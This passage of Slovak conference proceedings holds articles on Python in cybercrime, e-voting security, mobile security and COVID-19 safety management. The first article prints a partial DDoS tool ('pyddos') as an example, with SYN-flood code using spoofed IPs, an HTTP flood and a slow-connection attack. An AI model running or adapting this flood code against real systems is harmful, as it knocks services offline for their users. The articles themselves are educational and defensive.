Python má všetky atribúty profesionálneho programovacieho jazyka, umožňuje 
rýchly vývoj aplikačného kódu, podporuje objektovo orientované programovanie 
a je vynikajúci pre začiatočníkov. Podstatnou mierou k popularite Pythonu 
prispieva čistota a jednoduchosť v syntaxe a obrovské množstvo dostupných 
funkcií[2]. 
   Za posledných pár rokov zaznamenal Python úžasný nárast. V priebehu 
posledných rokov sa Python ukázal ako populárny a všestranný programovací 
jazyk. Veľkú popularitu má medzi odborníkmi na umelú inteligenciu a 
profesionálnymi programátormi a v nadnárodných korporáciách. Získal si priazeň 
aj v oblasti kybernetickej kriminality[5]. 
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Python a internetová kriminalita 
   Rastúca popularita Pythonu medzi hackermi by nemala byť prekvapením. 
Python je síce jednoduchý, ale výkonný programovací jazyk. Útočníkovi umožňuje 
s malým úsilím vytvoriť skript s menej ako 100 riadkami. Aj keď tento proces 
zneškodníte, začne sa sám zálohovať, vytvorí tzv. „zadné vrátka“, a bude naďalej 
meniť komunikáciu interne i s externými servermi a nastaví príkazy a riadiace 
odkazy[7]. Útočník dokonca nemusí napísať vlastný kód. Skripty backdoor v 
Pythone sa dajú ľahko dohľadať na internete - vyhľadávač Github ich vyhľadá viac 
ako 200. Štúdia spoločnosti Imperva potvrdzuje, že pri väčšine útokov, ktoré sa 
odohrali na globálnej úrovni, bolo 70 % realizovaných s akýmsi nástrojom 
založeným na Pythone a najmenej pri tretine týchto prípadov bol napísaný útočný 
kód v jazyku Python. 
 

Obrázok 1 Vývoj popluarity programovacích jazykov 

 
Zdroj : https://stackoverflow.blog/2017/09/06/incredible-growth-python/ 
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   Podľa spoločnosti Imperva (spoločnosť poskytujúca softvér a služby v oblasti 
kybernetickej bezpečnosti), viac ako tretina každodenných útokov, ktoré 
spoločnosť chráni, pochádza zo škodlivého kódu alebo nástroja, kódovaného v 
jazyku Python[1]. 
 
Ako sa chrániť ? 
Skriptovacie útoky často obchádzajú tradičnú ochranu. Brána firewall napríklad 
používa schválené sieťovej adresy na zistenie, či je server bezpečný, ale nedokáže 
presne overiť, čo konkrétne sa medzi dvoma „koncami“ prenáša. Výsledkom je, že 
skripty budú jednoducho schválené podľa nastavených pravidiel brány firewall. 
Pokiaľ ide o EDR (Endpoint Detection and Response), prenos zo škodlivých skriptov 
je veľmi podobný prenosu vytváranému bežnými nástrojmi na správu. Neexistuje 
jasný poznávací znak, ktorý by obranné mechanizmy EDR detekovali.[4] 
   Efektívnym spôsobom ochrany pred skriptovacími útokmi je nastavenie prístupu 
nulovej dôveryhodnosti založeného na identite. V prístupe založenom na 
softvérovej identite nie sú zásady založené na sieťových adresách, ale skôr na 
jedinečnej identite pre každý proces. Akýkoľvek prístup založený na sieťových 
adresách nemôže adekvátne chrániť cieľ útoku. Sieťové adresy sa často menia, 
najmä v prostrediach s automatickým škálovaním, ako je napríklad cloud[6].  
   Vďaka prístupu založenému na identite môže administrátor vytvoriť zásady, 
ktoré konkrétne stanovia, ktoré zariadenia, programy a skripty môžu navzájom 
komunikovať - všetko ostatné je predvolene zablokované. Výsledkom je, že 
škodlivé skripty budú automaticky blokované pri vytváraní „zadných vrátok“, a 
umiestňovaní škodlivého softvéru[8]. 
 
Vzorový príklad záškodníckej aplikácie v Python 
   Platforma GitHub je pomerne dobre známa ako platforma pre vývojárov rôzynch 
druhov aplikácií. Nemálo aplikácií je tam založených na programovacom jazyku 
Python. Pre znalého programátora je ľahké nájsť kódy pre napísanie útočnej 
aplikácie. Napríklad užívateľ platformy mach1el[3] tam má zdrojový kód pre DDoS 
útok (nebudeme uvádzať celý kód): 
#!/usr/bin/env python2 
 
version= '2.0' 
title = ''' 
      _ \        __ \  __ \               ___|           _)       |    
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     |   | |   | |   | |   |  _ \   __| \___ \   __|  __| | __ \  __|   
     ___/  |   | |   | |   | (   |\__ \       | (    |    | |   | |    
    _|    \__, |____/ ____/ \___/ ____/ _____/ \___|_|   _| .__/ \__|   
           ____/                                            _|          
                                                                     
 DDos python script | Script used for testing ddos | Ddos attack      
 Author: ___T7hM1___                                                 
 Github: http://github.com/t7hm1/pyddos                              
 Version:'''+version+'''  
''' 
 
import os 
import sys 
import json 
import time 
import string 
import signal 
import httplib,urlparse 
from random import * 
from socket import * 
from struct import * 
from threading import * 
from argparse import ArgumentParser,RawTextHelpFormatter 
 
if os.name == 'posix': 
 c = os.system('which pip') 
 if c == 256: 
  os.system('sudo apt-get install python-pip') 
 else: 
  pass 
else: 
 print '[-] Check your pip installer' 
 
try: 
 import requests,colorama 
 from termcolor import colored,cprint 
except: 
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 try: 
  if os.name == 'posix': 
   os.system('sudo pip install colorama termcolor requests') 
   sys.exit('[+] I have installed nessecary modules for you') 
  elif os.name == 'nt': 
   os.sytem('c:\python27\scripts\pip.exe install colorama 
requests termcolor') 
   sys.exit('[+] I have installed nessecary modules for you') 
  else: 
   sys.exit('[-] Download and install nessecary modules') 
 except Exception,e: 
  print '[-]',e 
if os.name == 'nt': 
 colorama.init() 
 
... 
.... 
... 
def main(): 
 parser = ArgumentParser( 
        usage='./%(prog)s -t [target] -p [port] -t [number threads]', 
        version=version, 
        formatter_class=RawTextHelpFormatter, 
        prog='pyddos', 
        description=cprint(title,'white',attrs=['bold']), 
        epilog=''' 
Example: 
    ./%(prog)s -d www.example.com -p 80 -T 2000 -Pyslow 
    ./%(prog)s -d www.domain.com -s 100 -Request 
    ./%(prog)s -d www.google.com -Synflood -T 5000 -t 10.0 
''' 
) 
 options = parser.add_argument_group('options','') 
 options.add_argument('-
d',metavar='<ip|domain>',default=False,help='Specify your target such an ip or 
domain name') 
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 options.add_argument('-t',metavar='<float>',default=5.0,help='Set timeout 
for socket') 
 options.add_argument('-T',metavar='<int>',default=1000,help='Set threads 
number for connection (default = 1000)') 
 options.add_argument('-p',metavar='<int>',default=80,help='Specify port 
target (default = 80)' + colored(' |Only required with pyslow attack|','red')) 
 options.add_argument('-s',metavar='<int>',default=100,help='Set sleep time 
for reconnection') 
 options.add_argument('-i',metavar='<ip 
address>',default=False,help='Specify spoofed ip unless use fake ip') 
 options.add_argument('-Request',action='store_true',help='Enable request 
target') 
 options.add_argument('-Synflood',action='store_true',help='Enable synflood 
attack') 
 options.add_argument('-Pyslow',action='store_true',help='Enable pyslow 
attack') 
 options.add_argument('--
fakeip',action='store_true',default=False,help='Option to create fake ip if not specify 
spoofed ip') 
 args = parser.parse_args() 
 if args.d == False: 
  parser.print_help() 
  sys.exit() 
 add_bots();add_useragent() 
 if args.d: 
  check_tgt(args) 
 if args.Synflood: 
  uid = os.getuid() 
  if uid == 0: 
   cprint('[*] You have enough permisson to run this script','green') 
   time.sleep(0.5) 
  else: 
   sys.exit(cprint('[-] You haven\'t enough permission to run this 
script','red')) 
  tgt=check_tgt(args) 
  synsock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP) 
  synsock.setsockopt(IPPROTO_IP,IP_HDRINCL,1) 
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  ts=[] 
  threads=[] 
  print colored('[*] Started SYN Flood: ','blue')+colored(tgt,'red') 
  while 1: 
   if args.i == False: 
    args.fakeip = True 
    if args.fakeip == True: 
     ip = fake_ip() 
   else: 
    ip = args.i 
   try: 
    for x in xrange(0,int(args.T)): 
     thread=Synflood(tgt,ip,sock=synsock) 
     thread.setDaemon(True) 
     thread.start() 
     thread.join() 
   except KeyboardInterrupt: 
    sys.exit(cprint('[-] Canceled by user','red')) 
 elif args.Request: 
  tgt = args.d 
  threads = [] 
  print colored('[*] Start send request to: ','blue')+colored(tgt,'red') 
  while 1: 
   try: 
    for x in xrange(int(args.T)): 
     t=Requester(tgt) 
     t.setDaemon(True) 
     t.start() 
     t.join() 
   except KeyboardInterrupt: 
    sys.exit(cprint('[-] Canceled by user','red')) 
 elif args.Pyslow: 
  try: 
   tgt = args.d 
   port = args.p 
   to = float(args.t) 
   st = int(args.s) 
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   threads = int(args.T) 
  except Exception,e: 
   print '[-]',e 
  while 1: 
   try: 
    worker=Pyslow(tgt,port,to,threads,st) 
    worker.doconnection() 
   except KeyboardInterrupt: 
    sys.exit(cprint('[-] Canceled by user','red')) 
 if not (args.Synflood) and not (args.Request) and not (args.Pyslow): 
  parser.print_help() 
  print 
  sys.exit(cprint('[-] You must choose attack type','red')) 
 
if __name__ == '__main__': 
 main() 
 
Záver 
    Široké možnosti použitia jazyka Python a jeho rozsiahle knižnice sa často 
zneužívajú na páchanie kybernetických zločinov. Ľahkosť používania 
programovacieho jazyka Python a jeho bohaté knižnice ponúkajú možnosti 
zneužitia. Ochranou voči takýmto možnostiam používania skriptov v jazyku Python 
je dôkladná kontrola spúšťaných kódov. 
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BEZPEČNOSŤ PRI ELEKTRONICKÝCH VOĽBÁCH 
 
CYBER SECURITY OF ELECTRONIC ELECTIONS 
 
Branislav Brozman 
 
Abstract 
   The aim of this article is to review cyber security threats of electronic election. The 
leader of e-election is Estonia. The European Union is behind the scene because of 
the security threats. 
 
Key words: Electronic election 
 
Abstrakt 
   Cieľom článku je posúdiť bezpečnostné hrozby pri elektronických voľbách. V 
súčasnosti je lídrom v elektronických voľbách Estónsko a štáty v Európskej únii sú 
kvôli zisteniam bezpečnostných hrozieb v úzadí. 
 
Kľúčové slová: Elektronické voľby 
 
Úvod 
   Moderná doba sa neustále vyvíja a napreduje vysokým tempom. Ľudia sa 
prispôsobujú moderným technológiám a stávajú sa čoraz pohodlnejšími. V dnešnej 
dobe očakávajú moderné riešenia informatizácie a zefektívnenie všetkých 
procesov. Na Slovensku však častokrát k takýmto moderným procesom 
nedochádza. Výnimkou je momentálne pilotné plne elektronické sčítavania 
obyvateľstva. Pre mnohých z nás je to správny krok dopredu aj keď pre mnohých 
najmä starších alebo menej zručných obyvateľov to môže byť komplikovanejšie. 
Komplikovanejšou témou sú však elektronické voľby. 
 
Elektronické voľby 
   Každý občan Slovenskej republiky má právo vyjadriť svoj hlas tým, že vo 
volebnej miestnosti vloží do papierovej debničky v obálke svoj hlas preferovanej 
strane alebo svojmu kandidátovi. Momentálne to však nemôže urobiť každý 
Slovák. V dnešnej dobe, keď nemáme problém sa dostať z jednej strany sveta na 
druhý za pár hodín a častokrát pracujeme alebo študujeme v zahraničí, je migrácia 
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bežnou súčasťou takmer každého z nás. V súčasnosti v zahraničí pracuje vyše 300 
000 Slovákov[8].  Veľakrát z pracovných alebo iných dôvodov sa nám cestovať 
domov kvôli voľbám nedá. Obzvlášť ak ide o prezidentské voľby, ktoré sa konajú 
prevažne v dvoch kolách s dvojtýždňovou prestávkou[12].  Slováci žijúci v zahraničí 
si musia v predstihu požiadať o hlasovací lístok a do istého termínu svoj hlas 
odoslať poštou[11]. Až vyše 49 000 voličov hlasovalo v posledných parlamentných 
voľbách poštou[14]. Nastáva tak zdĺhavý a neefektívny proces. História posledných 
volieb ukázala, že ľudia žijúci v zahraničí sú viac liberálni a na súčasnú politiku majú 
iný názor ako väčšina obyvateľov ktorí do zahraničia tak často necestujú. Nastáva 
tak otázka, či by sa zmenili výsledky volieb či už prezidentských, parlamentných 
alebo komunálnych, ak by sme mohli voliť elektronicky.  
   Európskym lídrom v elektronickom hlasovaní sú už od roku 2005 jednoznačne 
Estónci. Na to, aby mohli voliť elektronický je takzvaný i-voting. Potrebujú na to iba 
notebook s pripojením na internet, čítačku, občiansky preukaz a antivírus[3].  Je to 
ale bezpečné? Bezpečnosť je prvoradá a aj predstavitelia tohto systému 
priznávajú, že môže nastať útok na volebný systém a hlasy môžu byť zneužité[10].  
Hlasovanie poštou však tiež nie je bezchybné. Niektorí voliči zo zahraničia dostali 
chybné zásielky s hlasovacími lístkami a početné obálky s hlasmi skončili podľa 
portálu Cybersec v zlých okrskových komisiách. Systém elektronického hlasovania 
ma viacero trhlín a kritické zraniteľnosti. Riaditeľ Slovenského inštitútu pre 
bezpečnostnú politiku tvrdí, že ,,bezpečnostné riziká spojené so zavedením 
elektronického hlasovania ďaleko prevažujú jeho výhody. Hovoria o tom 
skúsenosti iných štátov, ktoré možnosť elektronického hlasovania testovali, no 
vyhodnotili ho ako nespoľahlivý[4].“ Obavy z bezpečnosti hlasovania cez internet 
majú aj odborníci na počítaču bezpečnosť. Na osobné počítače voličov z ktorých 
sa e-maily odosielajú, ľahko a neustále útočia vírusy, trojské kone a spyware. 
Akonáhle je hlasovací lístok odoslaný e-mailom, pohybuje sa medzi mnohými 
rôznymi servermi umiestnenými po celej planéte a každý, kto ma prístup k 
niektorému z týchto strojov, môže byť kompromitovaný. V konečnom dôsledku, 
odosielateľ nemá možnosť skontrolovať, či úradník ktorý hlasovací lístok prevzal 
sa zhoduje s tým, ktorý volič odoslal. A to bez ohľadu na to, ako dobre zabezpečené 
môžu byť ich krajské počítačové služby a aj bez ohľadu na to, koľko investícií sa 
minulo pri licencovaní softvéru a na modernizáciu ich softvérov[9].  
Aj Estónsky systém ma svoje nedokonalosti. Ich zaistenie bezpečnosti nie je 
dostatočné a môže ich prelomiť viaceré typy útokov. Podľa portálu cybersec.sk je 
,, základným kameňom úrazu fakt, že kyberzločinci môžu napadnúť zariadenie, z 
ktorého volič hlasuje, a infikovať ho malvérom. Útočník dokáže ukradnúť PIN kódy 
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potrebné k autorizácii pomocou ID karty voliča. Keďže estónsky systém umožňuje 
voličovi po určitú dobu prehodnotiť svoju voľbu, útočník môže zneužiť prístup k jeho 
ID karte a pozmeniť hlas podľa vlastnej vôle. Tento postup dokáže replikovať na 
desiatkach tisícoch zariadení.[4]“  
   V súčasnosti aj Európska únia sa zaoberá riešením volebnej bezpečnosti v celej 
Európskej únii[5]. Expertná skupina komisie pre volebne záležitosti sa zameriava na  
otázky spojené s hlasovaním cez internet, nie len z dôvodu iniciatívy nárastu počtu 
hlasujúcich, ale aj z bezpečnostného hľadiska[7].   
   Napriek všetkým týmto bezpečnostným pochybeniam, dôvera v elektronické 
hlasovania v Estónsku naďalej stúpa, čo preukazuje aj obrázok 1.  
  

Obrázok 1 Počet hlasujúcich cez internet 

 
Zdroj : Techbox.dennikn.sk[1] 

 
   Z finančného hľadiska aj elektronické voľby nie sú lacná záležitosť. Aj napriek 
zvýšeným nákladom na hardvér a softvér ktorý je potrebný pri elektronických 
voľbách, sa dokáže ušetriť až 50% nákladov spojených s voľbami. Podľa štúdie z 
Talinn University of Technology z roku 2019, náklady v deň volieb vo volebnej 
miestnosti sú 4,61€ na jeden hlas. V prípade odovzdania hlasovacieho lístka cez 
internet sú náklady vo výške 2,32€ na jeden hlas[2].  
   Na Slovensku hlavnú iniciatívu za lepšie voľby presadzuje občianske združenie 
Srdcom doma. O tejto iniciatíve sme mohli počuť najmä pri posledných 
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parlamentných voľbách. Toto občianske združenie vyvinulo prototyp aplikácie, 
ktorá umožní podať žiadosť o voľbu poštou alebo podať žiadosť o hlasovací 
preukaz bezpečnou cestou a to pomocou autentifikácie pomocou eID. 
Momentálnym najväčším problémom slovenskej bezpečnostnej legislatívy je 
možnosť “ukradnúť hlas“[6]. Stačí na to rodné číslo voliča a hlas je zaslaný namiesto 
voličovi, na adresu podvodníka, čo ma za následok, že podvodník bude hlasovať 
za voliča. Iniciatíva Srdcom doma však navrhla zmeny, ktoré majú takýmto 
podvodníkom zabrániť. Prvotnou zmenou je centrálne spracovanie žiadosti 
ministerstvom vnútra SR a nie obcou. Keďže v súčasnosti ma viac ako 4 milióny 
občanov SR elektronický preukaz s čipom, návrh ráta s použitím eID a 
bezpečnostným kódom. Je to určite bezpečnejšie ako posielať e-mail s osobnými 
údajmi[13]. Návrhov je viac a je možné si ich pozrieť na stránke srdcomdoma.sk[14]  
 
Záver 
   Na záver tak môžeme konštatovať, že aj napriek tomu, že na Slovensku v 
elektronickom hlasovaní z celkového počtu 66 348 zúčastnených až 91% bolo za 
elektronické hlasovanie, súčasne podmienky a technológie na Slovensku nie sú ešte 
tak vyspelé, aby dokázali zabrániť hrozbám zneužitia volebnej moci. Budeme však 
silno držať palce iniciatíve Srdcom doma, aby dokázala vyvinúť a presadiť 
aplikáciu na úspešne hlasovanie nie len zo zahraničia, ale aj z hociktorého miesta 
na Slovensku. Netreba však zabúdať na fakt, že nie len pri elektronickom hlasovaní, 
ale aj “starom dobrom“ hlasovaní poštou, či sčítavaní hlasov úradníckou osobou 
môže dôjsť k ľudskému omylu a nie presnému sčítaniu hlasov. 
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BEZPEČNOSŤ MOBILNÝCH ZARIADENÍ 
 
SECURITY OF MOBILE DEVICES 
 
Radomír Chovanec 
 
Abstract 
    The aim of the article is to assess security threats in the operation of mobile 
phones. The article describes the most common security threats and suggestions 
for increasing the level of security of mobile devices. 
 
Keywords: smartphone, security 
 
Abstrakt 
   Cieľom článku je posúdiť bezpečnostné hrozby pri prevádzkovaní mobilných 
telefónov. V článku sú popísané najčastejšie bezpečnostné hrozby a návrhy na 
zvýšenie úrovne bezpečnosti mobilných zariadení. 
 
Kľúčové slová: smartfón, bezpečnosť 
 
Úvod 
   Mobilné zariadenia postupne vnikli do našich životov a stali sa tak našou 
neodmysliteľnou každodennou súčasťou. Málo ľudí si však uvedomuje, že 
používaním smartfónu môžu ohrozovať svoju bezpečnosť. Pomocou mobilných 
aplikácii sa môžeme pripojiť na sociálne siete, internetbankingu ale aj na pracovný 
email, v ktorom môžeme mať zálohované citlivé údaje. S možnosťami však 
prichádzajú aj hrozby. Mobilné zariadenia sú zraniteľné a dokážu ich napádať 
vírusy, ktoré nám môžu znepríjemniť život a ukradnúť aj osobné údaje[5]. 
 
Mobilné zariadenia a ich bezpečnosť 
   Informačná bezpečnosť sa vo všeobecnosti zaoberá ochranou dát a informácií 
od ich počiatku, cez spracovanie, ukladanie a prenos až po ich odstránenie na 
základe presne stanovených organizačných opatrení. Informačná bezpečnosť sa 
taktiež definuje ako schopnosť siete alebo informačného systému spoľahlivo 
odolávať náhodným udalostiam, nezákonnému konaniu, ktoré by mohlo ohroziť 
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dostupnosť, pravosť, integritu a dôveryhodnosť uchovávaných alebo prenášaných 
údajov prístupných prostredníctvom týchto sietí a systémov[7]. 
   Mobilné zariadenia môžeme popísať ako systémy, pre ktoré sú príznačné viaceré 
vlastnosti, na ktorých je postavený práve prívlastok „mobilné“. V základe môžeme 
hovoriť o mobilnom zariadení ako o zariadení, ktoré je prenosné. Používateľ ho 
môže využívať na rôzne účely a v rôznych situáciách počas dňa bez väčších 
obmedzení. S možnosťou neobmedzeného prenosu sa však nevyhnutne spája aj 
použiteľnosť takého zariadenia predovšetkým v situáciách, pre ktoré je 
charakteristický pohyb, či premenlivosť prostredia.  
 
Bezpečnostné hrozby 
   Všetky smartfóny sú už dnes ohrozené podobne ako počítače. Sú na ne skúšane 
všetky typy útokov, a preto je potrebné chrániť si svoju bezpečnosť. Pre mobily 
existujú obzvlášť riziká, keďže sú prenosné a ľahko vieme byť podľa nich 
sledovaný. Preto by mali byť chránené širšou skupinou bezpečnostných techník 
ako tradičné notebooky. 
    Čo ohrozuje naše mobilné zariadenie? Aj obyčajné stiahnutie aplikácie alebo 
návšteva neoverených stránok. Medzi najznámejšie ohrozenie patrí nesprávne 
ukladanie dát. Ak nemáme dostatočne zálohované dáta, tak môžeme o nich prísť 
a to už spôsobom nesprávne zabezpečenej aplikácie alebo stratou telefónu. 
Najzraniteľnejšími údajmi sú pre nás heslá, osobné údaje ako meno, priezvisko, 
adresa, poprípade číslo občianskeho preukazu. Taktiež môže ísť o citlivé firemné 
dáta akými sú ekonomické výkazy, strategické plány alebo osobné údaje 
zamestnancov firmy.  
   Ďalšou hrozbou je slabá kontrola zo strany serveru. Servery, ktoré nemajú 
dostatočne vyvinuté bezpečnostné opatrenia môžu neoprávneným užívateľom 
pristúp  k našim údajom[8]. Tvorcovia aplikácii by spravidla mali používať vlastný 
server alebo server iných firiem, aby ochránili svojich zákazníkov. Ak nie je aplikácia 
uložená na overenom serveri môže spôsobiť problémy.  Dnes firmy poskytujú 
služby nielen na zálohovanie údajov ale dokážu zaručiť aj ich bezpečnosť. 
   Pri tvorení mobilných aplikácií dochádza k výmene údajov typom klient-server. K 
tejto výmene údajov prichádza prostredníctvom sieti operátora a internetu[2]. Ak je 
aplikácia zle naprogramovaná a nie je dostatočne zabezpečená, prostriedky 
hrozby môžu použiť rôzne techniky na zobrazenie citlivých údajov, kým údaje 
prechádzajú sieťou. K úniku údajov môže dôjsť v sieti používateľa alebo na 
sieťovom zariadení, ktoré prepája používateľa s internetom.[3] Únik citlivých údajov 
môže spôsobiť, že dochádza napríklad k neoprávneným platbám v zahraničí z 
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našej karty. Banky s tým mali niekoľko skúseností a museli tým pádom riešiť 
reklamácie klientov.  
   Ďalším typom útoku je ohrozenie, ktoré si ani nemusíme všimnúť. Ak si z 
niektorého storu stiahneme aplikáciu je kód aplikácie uložený na zariadenie 
používateľa. Na tento kód dokážu útočníci vytvoriť textový súbor, do ktorého vsunú 
kód na vykonanie útoku. Útoky takzvaného vsunutia alebo inak povedané SQL 
Injection na zariadení používateľa fungujú na princípe toho, že využívaná aplikácia 
pracuje s viac ako jedným používateľským kontom na jednej aplikácii so zdieľaným 
zariadením alebo s plateným obsahom. Ďalšie injekčné body sú určené na 
preťaženie zložiek aplikácie, ktoré nemajú takú veľkú úspešnosť vďaka 
spravovaným ochranám kódu aplikačných jazykov[5].  
   Ďalšou hrozbou je nevhodné správanie relácie, ktoré môže narušiť bezpečnosť 
chodu aplikácie. Predísť takémuto správaniu dokážu zabezpečené aplikácie takým 
spôsobom, že majú nastavený čas relácie a po vypršaní času sa jednotlivé okno 
aplikácie zatvorí. Používateľ tak musí celu  reláciu vykonať odznova. Toto 
zabezpečenie by malo predísť tomu, aby niekto iný vstúpil do zariadenia 
používateľa. Tieto postupy by mali byť zavedené pre všetky aplikácie, ktoré 
pracujú s citlivými údajmi. S týmto zabezpečením sa môžeme stretnúť napríklad 
pri internebankingu. Pri platení a zadávaní čísla karty, ak necháme okno otvorené 
a nevložíme všetky potrebné údaje po nejakom čase sa nám platba zruší a proces 
platby môžeme opakovať od začiatku[6].  
   Pri stránkach, ktoré požadujú ako sú cookies, premenné prostredia a skryté časti 
formulárov nemôže používateľ nemôže urobiť zmenu. Čo je však nevýhodou 
potencionálny útočník môže vykonať zmenu bez vedomia používateľa. Ak sa 
nevykonávajú autorizované vstupy na základe hodnôt vstupov hacker môže celú 
autorizáciu obísť.  Bez dostatočného šifrovania, kontroly integrity alebo iného 
mechanizmu je každý vstup, ktorý pochádza zvonku, považovaný za 
nedôveryhodný[1]. 
   Smartfóny často nepoužívajú žiaden bezpečnostný softvér, ktorý by ich ochránil. 
Mnohé zariadenia nemajú v sebe zabudované také nástroje, ktoré by mohli slúžiť 
na ochranu pred škodlivými aplikáciami, spywarom alebo malvérom Jeden z 
najjednoduchších riešení je fyzické zabezpečenie telefónu. Každý výrobca ponúka 
možnosť uzamknutia telefónu. Ako sa vyvíjali telefóny, vyvíjali sa aj riešenia 
uzamkýnania mobilných zariadení. Najprv to bolo klasické uzamknutie, kde sa 20 
od používateľa vyžadovalo heslo. Neskôr vyšli na trh zariadenia, ktoré už v sebe 
obsahovali senzor na odomknutie pomocou odtlačku prsta. Najnovším trendom je 
však, že telefón zaznamená tvár používateľa a tým odomkne telefón. 
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Zvýšenie bezpečnosti mobilných zariadení 
   Odborníci, zameraní na ochranu osobných údajov v mobilných aplikáciách, ktoré 
poskytujú peňažné služby (internetbanking) vypracovali niekoľko rád ako by sa 
mal používateľ chrániť, a tým pádom ochránil svoje údaje a financie[4]: 

• inštalovať si antivírus a ďalšie aplikácie pre zabezpečenie – v dnešnej dobe 
sa oplatí priplatiť za balík služieb, ktorý nám komplexne ochráni telefón, 
ďalšou možnosťou je nainštalovať si antivírusový program, napr. Avast, 
ktorý odhalí prípadné vírusy 

• neprihlasovať so do interbankingu bez ochrany na verejnej wifi – do verejne 
wifi sa môže prihlásiť hocikto, napríklad aj hacker, ktorý tak ľahko môže 
získať naše dáta, a preto treba prihlasovať len do zabezpečených serverov 
a do zariadenia inštalovať softvér, ktorý prinesie bezpečné pripojenie na 
verejných WIFI 

• používať službu VPN -  vďaka VPN sa dá pripojiť k rôznym serverom cez 
zašifrované zariadenia, ktoré zvonku nie je čitateľné. Je lepšie vyvarovať sa 
bezplatným VPN, na ktoré sa môžu pripojiť rôzni ľudia[10].  

• používať silné heslá – silné heslá znížia riziko nabúrania sa k osobným 
údajom, na úplnú ochranu však nestačia, a preto je potrebné sa zabezpečiť 
viacerými spôsobmi 

• predchádzať zavíreniu zariadenia – ak je v smartfóne používaný antivírus a 
softvér je stále aktualizovaný pravdepodobnosť nakazenia je veľmi nízka. 
Do telefónu by sme si mali sťahovať len overené aplikácie, rozumnejšie si je 
priplatiť za overenú aplikáciu ako v dôsledku víru prísť o celý telefón  

• nepodceňovať SMS správy a hovory – nebezpečenstvo môžu predstavovať 
aj hovory z neoverených čísel, ktoré môžu odpočúvať naše zariadenie 

• vlastná ochrana – mali by sme byť ostražití aké informácie zdieľame na 
sociálnych sieťach, neodporúča sa uvádzať osobné údaje, a údaje, ktoré by 
mohli ohroziť bezpečnosť bankového účtu. 

• správa systému – nastavenie, ktoré sa týka celkového systému, 
užívateľských účtov a oprávnení. 

   Pri strate telefónu nehrá takú dôležitú rolu cena telefónu ale jeho obsah. V 
Londýne sa napríklad denne odcudzí až 314 smartfónov. Moderné mobilné 
zariadenia obsahujú možnosť strateného módu. Ide o funkciu, ktorá sa aktivuje v 
prípade straty a odcudzenia telefónu. Zariadenia obsahujú nastavenie vzdialeného 
ovládania. Toto ovládanie sa uskutočňuje prostredníctvom webového prehliadača, 
pomocou mobilnej siete alebo GPS signálu. Používateľ si môže zadefinovať, čo sa 
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udeje s telefónom v prípade straty alebo odcudzenia. Existujú voľby ako vymazať 
všetky údaje, restovať telefón do továrenského nastavenia, vypísať kontaktné 
údaje v prípade vrátenia telefónu[9]. 
 
Záver 
   Bezpečnosť mobilných zariadení, ktoré dennodenne používame, je diskutabilná. 
Existuje množstvo hrozieb, ktoré sú špecializované práve na mobilné zariadenia. 
Podnikové riešenia používania mobilných zariadení sú na tom výrazne lepšie, ale 
aj tam je potrebné narábať s mobilným zariadením obozretne a nenechať sa 
uspokojiť informáciou, že zariadenie je bezpečné. 
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MANAŽMENT BEZPEČNOSTI V SPOJITOSTI S COVID-
19 
 
SAFETY MANAGEMENT IN CONNECTION WITH COVID-19 
 
Peter Jelenčík 
 
Abstract 
   The article focuses on the description of security issues in connection with the 
currently prevailing pandemic situation. The aim of the article is to acquaint readers 
with the basic concepts of safety management and to point out the importance of 
safety in the spread of dangerous disease COVID-19. To achieve the main goal, the 
author draws from several relevant sources. 
 
Key words: Safety, COVID-19, management 
 
Abstrakt 
   Článok sa zameriava na opis problematiky bezpečnosti v spojitosti s aktuálne 
prevládajúcou pandemickou situáciou. Cieľom článku je oboznámiť čitateľov so 
základnými pojmami z oblasti manažmentu bezpečnosti a poukázať na dôležitosť 
bezpečnosti pri šírení nebezpečného ochorenia COVID-19. Na dosiahnutie hlavného 
cieľa autor čerpá z viacerých relevantných zdrojov. 
 
Kľúčové slová: Bezpečnosť, COVID-19, manažment  
 
Úvod 
   Bezpečnosť je každodennou súčasťou životov ľudí. „Človek pravidelne robí 
rozhodnutia na základe subjektívnych a objektívnych faktorov tak, aby sa cítil 
bezpečne a aby nič neohrozovalo jeho bezprostrednú existenciu – pri jazde v aute 
si zapíname bezpečnostné pásy, v noci sa vyhýbame tmavým a neznámym 
uličkám, pri prechode cez cestu sa obzeráme, či nejde auto a dokonca aj dovolenku 
si vyberáme podľa toho, či je dané miesto bezpečné.[6]“ 
   Bezpečnosť ľudia už od dávnych čias považovali za prvoradú. Vo vojenskom 
období možno ako príklad uviesť vytváranie rôznych bezpečnostných stratégií, 
resp. zabezpečovanie bezpečnosti teritórií či vysoko postavených osôb. Možno ju 
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preto označiť ako jednu z hlavných potrieb ľudí. Svedčí o tom aj druhá z úrovní 
Maslowovej pyramídy potrieb, ktorá poukazuje na potrebu bezpečia. Ide najmä o 
ochranu života, ako aj istotu v budúcnosti.  
  

Obrázok 1 Maslowova pyramída potrieb 

 
Zdroj 1https://beonline.sk/zaklady-marketingu-ktore-musite-poznat-maslowova-pyramida/ 

 
Manažment bezpečnosti 
   Pojem bezpečnosť možno chápať z viacerých uhľov pohľadu, resp. je spájaný a 
využívaný vo viacerých oblastiach. Vo všeobecnosti možno bezpečnosť označiť 
ako „stav, kedy daný aktér (či už ide o jednotlivca, štát alebo iného aktéra) 
nepociťuje nebezpečenstvo, respektíve bezprostredné ohrozenie.[6]“ Podľa Buzana 
možno bezpečnosť definovať omnoho jednoduchšie a priamejšie, a to tak, že 
bezpečnosť je „snaha o odstránenie hrozby[2]“.  
   Bezpečnosť je taktiež dôležitou súčasťou každého štátu.[5] Každý štát disponuje 
vlastnými smernicami a nariadeniami v oblasti bezpečnosti, ako aj vlastnými 
ozbrojenými silami a orgánmi činným v trestnom konaní, ktoré sa podieľajú na 
zabezpečovaní plynulého chodu bezpečnosti v jednotlivých krajinách. Tento typ 
bezpečnosti nazývame ako vnútorná bezpečnosť, ktorú možno definovať ako 
„súhrn vnútorných bezpečnostných podmienok, legislatívnych noriem a opatrení, 
ktorými štát zabezpečuje demokraciu, ekonomickú prosperitu, bezpečnosť 
občanov, ako aj presadzovanie právnych a morálnych noriem“[10]. Jednotlivé štáty 
disponujú vnútornou a vonkajšou suverenitou. „Vnútorná suverenita mu umožňuje 
vykonávať jurisdikciu v rámci štátneho celku, zatiaľ čo vonkajšia suverenita mu 
garantuje rovnocenné postavenie v systéme medzinárodných vzťahov a to, že 
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žiadny iný štát nemá právo zasahovať do jeho interných záležitostí.“ Bezpečnosť 
jednotlivých štátov sa postupom času vyvíja. Ako už bolo v úvode spomenuté, v 
minulosti (počas vojnových období) bola bezpečnosť zameraná najmä na ochranu 
